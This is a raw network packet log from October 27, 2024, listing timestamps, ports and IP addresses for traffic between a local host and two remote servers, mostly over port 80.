Oct 27, 2024 17:54:44.138710976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.138719082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.138750076 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.171112061 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:44.183792114 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.183813095 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.183825970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.183845997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.183857918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.183857918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.183907986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.205060005 CET	443	49966	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:44.205847025 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:44.205934048 CET	443	49966	104.208.16.92	192.168.2.5
Oct 27, 2024 17:54:44.205997944 CET	49966	443	192.168.2.5	104.208.16.92
Oct 27, 2024 17:54:44.255291939 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255351067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255362988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255364895 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255395889 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255405903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255418062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255429029 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255444050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255455971 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255466938 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255470991 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255494118 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255530119 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255662918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255698919 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255709887 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255748987 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255779028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255822897 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255851984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255861998 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255892992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255908012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255913973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255925894 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255935907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255959034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255981922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.255990982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.255994081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256007910 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256021976 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256022930 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256035089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256043911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256047964 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256062984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256074905 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256103992 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256237984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256247997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256289005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256305933 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256342888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256361008 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256371975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256393909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256405115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256424904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256433010 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.256942034 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.256959915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257010937 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257019997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257033110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257042885 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257056952 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257091045 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257093906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257102966 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257128000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257139921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257150888 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257150888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257164001 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257177114 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257195950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257230997 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257242918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257251978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257263899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257272959 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257292032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257293940 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257307053 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257318020 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257323027 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257339001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257386923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257400036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257407904 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257410049 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257446051 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257461071 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257466078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257556915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257567883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257579088 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257595062 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257623911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257630110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257642031 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257651091 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257666111 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257697105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257749081 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257760048 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257783890 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257801056 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257812023 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.257813931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257843971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.257997990 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258009911 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258047104 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258104086 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258119106 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258136988 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258147001 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258151054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258163929 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258171082 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258174896 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258198023 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258214951 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258254051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258265972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258275986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258286953 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258300066 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258301973 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258312941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258327007 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258330107 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258337975 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258351088 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258364916 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258375883 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258378983 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258387089 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258404016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258410931 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258416891 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258420944 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258429050 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258450985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258455038 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258462906 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258474112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258482933 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258486032 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258496046 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258502007 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258508921 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258529902 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258553982 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258590937 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258601904 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258613110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258624077 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258641005 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258668900 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258711100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258722067 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258730888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258742094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258748055 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258754015 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258764982 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258775949 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258784056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258805990 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258826971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258841038 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258853912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258862972 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258888960 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258913040 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.258941889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258953094 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258964062 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258980989 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.258991957 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259001970 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259001970 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259020090 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259027004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259033918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259044886 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259053946 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259054899 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259068012 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259077072 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259079933 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259092093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259105921 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259125948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259279013 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259335041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259346962 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259356022 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.259381056 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.259397984 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.303781033 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.303802967 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.303814888 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.303837061 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.303850889 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.303872108 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.303872108 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.303901911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.303987980 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.303999901 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.304009914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.304034948 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.304076910 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375195026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375237942 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375248909 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375252008 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375269890 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375277042 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375286102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375308037 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375325918 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375325918 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375339985 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375363111 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375376940 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375410080 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375425100 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375437021 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375447035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375469923 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375489950 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375693083 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375751972 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375760078 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375770092 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375776052 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.375849962 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375925064 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.375972986 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376030922 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376049995 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376065016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376072884 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376075983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376102924 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376106024 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376116037 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376128912 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376142025 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376152992 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376163960 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376166105 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376173973 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376194000 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376211882 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376353979 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376370907 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376382113 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376396894 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376435995 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376452923 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376466036 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376482010 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376492977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376497030 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376503944 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376514912 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.376517057 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376545906 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.376569986 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377386093 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377434015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377475977 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377487898 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377499104 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377511978 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377522945 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377531052 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377532959 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377569914 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377582073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377588034 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377605915 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377624035 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377652884 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377672911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377672911 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377679110 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377706051 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377712011 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377722025 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377751112 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377762079 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377779961 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377789021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377790928 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377803087 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377814054 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377820015 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377831936 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377835989 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377842903 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377851963 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377856016 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377866983 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377880096 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377882004 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377892017 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377938032 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377948999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377948999 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.377965927 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377975941 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.377993107 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378000021 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378005028 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378015041 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378034115 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378047943 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378060102 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378077984 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378081083 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378089905 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378103018 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378103971 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378123045 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378134012 CET	49853	80	192.168.2.5	185.215.113.206
Oct 27, 2024 17:54:44.378144026 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378179073 CET	80	49853	185.215.113.206	192.168.2.5
Oct 27, 2024 17:54:44.378209114 CET	49853	80	192.168.2.5	185.215.113.206
